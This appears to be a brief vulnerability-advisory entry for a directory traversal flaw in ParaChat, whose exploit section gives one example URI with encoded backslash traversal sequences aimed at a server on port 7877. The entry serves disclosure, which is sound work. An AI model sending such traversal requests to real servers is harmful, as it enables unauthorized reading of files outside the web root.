• info
• discussion
• exploit
• solution
• references

ParaChat Directory Traversal Vulnerability

An exploit is not required. An example URI sufficient to exploit this vulnerability was provided:

http://www.example.com:7877/..%5C/..%5C/